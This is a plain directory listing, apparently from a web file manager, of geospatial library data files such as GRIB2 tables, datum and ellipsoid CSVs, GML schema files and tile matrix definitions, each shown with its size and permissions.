grib2_table_4_2_0_0.csv File 10.12 KB 0644
grib2_table_4_2_0_1.csv File 16.12 KB 0644
grib2_table_4_2_0_13.csv File 9.37 KB 0644
grib2_table_4_2_0_14.csv File 9.33 KB 0644
grib2_table_4_2_0_15.csv File 9.62 KB 0644
grib2_table_4_2_0_16.csv File 9.44 KB 0644
grib2_table_4_2_0_17.csv File 923 B 0644
grib2_table_4_2_0_18.csv File 9.98 KB 0644
grib2_table_4_2_0_19.csv File 11.6 KB 0644
grib2_table_4_2_0_190.csv File 9.28 KB 0644
grib2_table_4_2_0_191.csv File 9.39 KB 0644
grib2_table_4_2_0_2.csv File 10.64 KB 0644
grib2_table_4_2_0_20.csv File 12 KB 0644
grib2_table_4_2_0_21.csv File 10.02 KB 0644
grib2_table_4_2_0_3.csv File 10.31 KB 0644
grib2_table_4_2_0_4.csv File 10.07 KB 0644
grib2_table_4_2_0_5.csv File 9.6 KB 0644
grib2_table_4_2_0_6.csv File 11.37 KB 0644
grib2_table_4_2_0_7.csv File 10.25 KB 0644
grib2_table_4_2_10_0.csv File 11.54 KB 0644
grib2_table_4_2_10_1.csv File 9.4 KB 0644
grib2_table_4_2_10_191.csv File 9.41 KB 0644
grib2_table_4_2_10_2.csv File 9.88 KB 0644
grib2_table_4_2_10_3.csv File 9.75 KB 0644
grib2_table_4_2_10_4.csv File 10.56 KB 0644
grib2_table_4_2_1_0.csv File 9.9 KB 0644
grib2_table_4_2_1_1.csv File 9.43 KB 0644
grib2_table_4_2_1_2.csv File 9.57 KB 0644
grib2_table_4_2_20_0.csv File 9.42 KB 0644
grib2_table_4_2_20_1.csv File 9.62 KB 0644
grib2_table_4_2_20_2.csv File 9.28 KB 0644
grib2_table_4_2_2_0.csv File 12.37 KB 0644
grib2_table_4_2_2_3.csv File 10.38 KB 0644
grib2_table_4_2_2_4.csv File 10.96 KB 0644
grib2_table_4_2_2_5.csv File 9.29 KB 0644
grib2_table_4_2_2_6.csv File 9.37 KB 0644
grib2_table_4_2_3_0.csv File 10.69 KB 0644
grib2_table_4_2_3_1.csv File 10.41 KB 0644
grib2_table_4_2_3_2.csv File 3.74 KB 0644
grib2_table_4_2_3_3.csv File 784 B 0644
grib2_table_4_2_3_4.csv File 1.03 KB 0644
grib2_table_4_2_3_5.csv File 920 B 0644
grib2_table_4_2_3_6.csv File 819 B 0644
grib2_table_4_2_4_0.csv File 9.33 KB 0644
grib2_table_4_2_4_1.csv File 9.46 KB 0644
grib2_table_4_2_4_10.csv File 9.47 KB 0644
grib2_table_4_2_4_2.csv File 9.43 KB 0644
grib2_table_4_2_4_3.csv File 9.49 KB 0644
grib2_table_4_2_4_4.csv File 9.46 KB 0644
grib2_table_4_2_4_5.csv File 9.27 KB 0644
grib2_table_4_2_4_6.csv File 9.41 KB 0644
grib2_table_4_2_4_7.csv File 9.33 KB 0644
grib2_table_4_2_4_8.csv File 9.46 KB 0644
grib2_table_4_2_4_9.csv File 9.31 KB 0644
grib2_table_4_2_local_Canada.csv File 333 B 0644
grib2_table_4_2_local_HPC.csv File 87 B 0644
grib2_table_4_2_local_MRMS.csv File 15.22 KB 0644
grib2_table_4_2_local_NCEP.csv File 27.32 KB 0644
grib2_table_4_2_local_NDFD.csv File 2.6 KB 0644
grib2_table_4_2_local_index.csv File 251 B 0644
grib2_table_4_5.csv File 9.78 KB 0644
grib2_table_versions.csv File 38 B 0644
gt_datum.csv File 15.43 KB 0644
gt_ellips.csv File 1.68 KB 0644
header.dxf File 6.42 KB 0644
inspire_cp_BasicPropertyUnit.gfs File 1.7 KB 0644
inspire_cp_CadastralBoundary.gfs File 1.61 KB 0644
inspire_cp_CadastralParcel.gfs File 2.39 KB 0644
inspire_cp_CadastralZoning.gfs File 4.7 KB 0644
jpfgdgml_AdmArea.gfs File 1.6 KB 0644
jpfgdgml_AdmBdry.gfs File 1.35 KB 0644
jpfgdgml_AdmPt.gfs File 1.59 KB 0644
jpfgdgml_BldA.gfs File 1.47 KB 0644
jpfgdgml_BldL.gfs File 1.47 KB 0644
jpfgdgml_Cntr.gfs File 1.47 KB 0644
jpfgdgml_CommBdry.gfs File 1.35 KB 0644
jpfgdgml_CommPt.gfs File 1.6 KB 0644
jpfgdgml_Cstline.gfs File 1.47 KB 0644
jpfgdgml_ElevPt.gfs File 1.46 KB 0644
jpfgdgml_GCP.gfs File 2.46 KB 0644
jpfgdgml_LeveeEdge.gfs File 1.35 KB 0644
jpfgdgml_RailCL.gfs File 1.47 KB 0644
jpfgdgml_RdASL.gfs File 1.22 KB 0644
jpfgdgml_RdArea.gfs File 1.48 KB 0644
jpfgdgml_RdCompt.gfs File 1.61 KB 0644
jpfgdgml_RdEdg.gfs File 1.6 KB 0644
jpfgdgml_RdMgtBdry.gfs File 1.35 KB 0644
jpfgdgml_RdSgmtA.gfs File 1.61 KB 0644
jpfgdgml_RvrMgtBdry.gfs File 1.36 KB 0644
jpfgdgml_SBAPt.gfs File 1.34 KB 0644
jpfgdgml_SBArea.gfs File 1.47 KB 0644
jpfgdgml_SBBdry.gfs File 1.22 KB 0644
jpfgdgml_WA.gfs File 1.46 KB 0644
jpfgdgml_WL.gfs File 1.46 KB 0644
jpfgdgml_WStrA.gfs File 1.47 KB 0644
jpfgdgml_WStrL.gfs File 1.47 KB 0644
netcdf_config.xsd File 7.32 KB 0644
nitf_spec.xml File 183.05 KB 0644
nitf_spec.xsd File 8.31 KB 0644
ogrinfo_output.schema.json File 10.87 KB 0644
ogrvrt.xsd File 25.31 KB 0644
osmconf.ini File 5.27 KB 0644
ozi_datum.csv File 8.28 KB 0644
ozi_ellips.csv File 1.32 KB 0644
pci_datum.txt File 34.27 KB 0644
pci_ellips.txt File 3.43 KB 0644
pdfcomposition.xsd File 33.53 KB 0644
pds4_template.xml File 3.35 KB 0644
plscenesconf.json File 40.4 KB 0644
ruian_vf_ob_v1.gfs File 45.64 KB 0644
ruian_vf_st_uvoh_v1.gfs File 2.54 KB 0644
ruian_vf_st_v1.gfs File 44.82 KB 0644
ruian_vf_v1.gfs File 65.68 KB 0644
s57agencies.csv File 12.99 KB 0644
s57attributes.csv File 19.53 KB 0644
s57expectedinput.csv File 20.4 KB 0644
s57objectclasses.csv File 52.17 KB 0644
seed_2d.dgn File 9 KB 0644
seed_3d.dgn File 2 KB 0644
stateplane.csv File 10.12 KB 0644
template_tiles.mapml File 1.9 KB 0644
tms_LINZAntarticaMapTileGrid.json File 4.02 KB 0644
tms_MapML_APSTILE.json File 6.13 KB 0644
tms_MapML_CBMTILE.json File 7.61 KB 0644
tms_NZTM2000.json File 5.14 KB 0644
trailer.dxf File 2.22 KB 0644
vdv452.xml File 25.21 KB 0644
vdv452.xsd File 2.79 KB 0644
vicar.json File 3.53 KB 0644
Filemanager